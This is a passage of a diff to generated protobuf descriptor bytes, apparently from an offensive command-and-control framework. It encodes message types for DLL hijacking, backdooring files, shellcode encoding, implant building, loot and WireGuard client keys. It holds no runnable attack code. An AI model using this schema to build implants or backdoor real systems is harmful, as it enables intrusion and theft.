0x18, 0x01, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x12, 0x12, 0x0a, 0x04, - 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, - 0x22, 0x74, 0x0a, 0x0a, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, - 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, - 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, - 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x18, 0x0a, 0x07, - 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x43, - 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x22, 0xc1, 0x01, 0x0a, 0x11, 0x57, 0x65, 0x62, 0x73, 0x69, - 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, - 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, - 0x12, 0x45, 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x29, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, - 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x2e, - 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, - 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, - 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x40, 0x0a, 0x14, 0x57, 0x65, - 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, - 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, 0x18, - 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, 0x22, 0xad, 0x01, 0x0a, - 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x3b, 0x0a, 0x08, - 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1f, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, - 0x65, 0x2e, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, - 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, 0x6f, 0x6e, - 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, - 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, - 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x39, 0x0a, 0x08, - 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, - 0x69, 0x74, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x08, 0x57, - 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x22, 0xa0, 0x01, 0x0a, 0x0e, 0x57, 0x47, 0x43, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x22, 0x0a, 0x0c, 0x53, 0x65, - 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x2a, - 0x0a, 0x10, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, - 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x43, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x1a, - 0x0a, 0x08, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x22, 0xba, 0x01, 0x0a, 0x04, 0x4c, - 0x6f, 0x6f, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, - 0x79, 0x70, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x46, - 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, - 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, - 0x12, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x04, 0x53, - 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, - 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0x2d, 0x0a, 0x07, 0x41, 0x6c, 0x6c, 0x4c, 0x6f, - 0x6f, 0x74, 0x12, 0x22, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, - 0x52, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x22, 0x45, 0x0a, 0x03, 0x49, 0x4f, 0x43, 0x12, 0x12, 0x0a, - 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, - 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, 0x12, 0x0e, 0x0a, - 0x02, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x22, 0x27, 0x0a, - 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, - 0x0a, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, - 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x22, 0xdf, 0x02, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, - 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, - 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, - 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x4f, 0x53, 0x56, 0x65, 0x72, - 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x4f, 0x53, 0x56, 0x65, - 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x0a, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x18, 0x04, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, - 0x4f, 0x43, 0x52, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x12, 0x47, 0x0a, 0x0d, 0x45, 0x78, 0x74, 0x65, - 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x21, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x2e, - 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x52, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, - 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x72, - 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x03, 0x52, - 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x1a, 0x59, 0x0a, - 0x12, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x52, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x30, 0x0a, 0x08, 0x41, 0x6c, 0x6c, 0x48, - 0x6f, 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x18, 0x01, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, - 0x6f, 0x73, 0x74, 0x52, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x22, 0xf3, 0x01, 0x0a, 0x0c, 0x44, - 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x12, 0x2a, 0x0a, 0x10, 0x52, - 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, 0x68, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, - 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, 0x68, 0x12, 0x26, 0x0a, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, - 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, - 0x22, 0x0a, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, - 0x44, 0x4c, 0x4c, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, - 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, - 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x22, 0x3b, 0x0a, 0x09, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x2e, 0x0a, + 0x74, 0x22, 0x3a, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x78, 0x0a, - 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, - 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, - 0x46, 0x69, 0x6c, 0x65, 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, - 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, - 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3a, 0x0a, 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, - 0x6f, 0x6f, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, - 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, - 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0xeb, 0x01, 0x0a, 0x12, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, - 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x65, 0x71, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, - 0x12, 0x22, 0x0a, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, - 0x74, 0x75, 0x72, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, - 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, - 0x44, 0x61, 0x74, 0x61, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, - 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, - 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x22, 0x55, 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x08, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0xb7, 0x01, 0x0a, 0x13, 0x53, 0x68, 0x65, - 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, 0x70, - 0x12, 0x47, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x2b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, - 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x4d, 0x61, - 0x70, 0x2e, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, - 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x1a, 0x57, 0x0a, 0x0d, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, - 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x30, 0x0a, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, - 0x38, 0x01, 0x22, 0x68, 0x0a, 0x13, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x47, 0x65, - 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, - 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, - 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x75, - 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0b, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x39, 0x0a, 0x08, - 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, - 0x64, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x52, 0x08, 0x42, - 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x22, 0x80, 0x02, 0x0a, 0x07, 0x42, 0x75, 0x69, 0x6c, - 0x64, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x70, 0x65, 0x72, 0x61, - 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4f, - 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x47, - 0x4f, 0x4f, 0x53, 0x18, 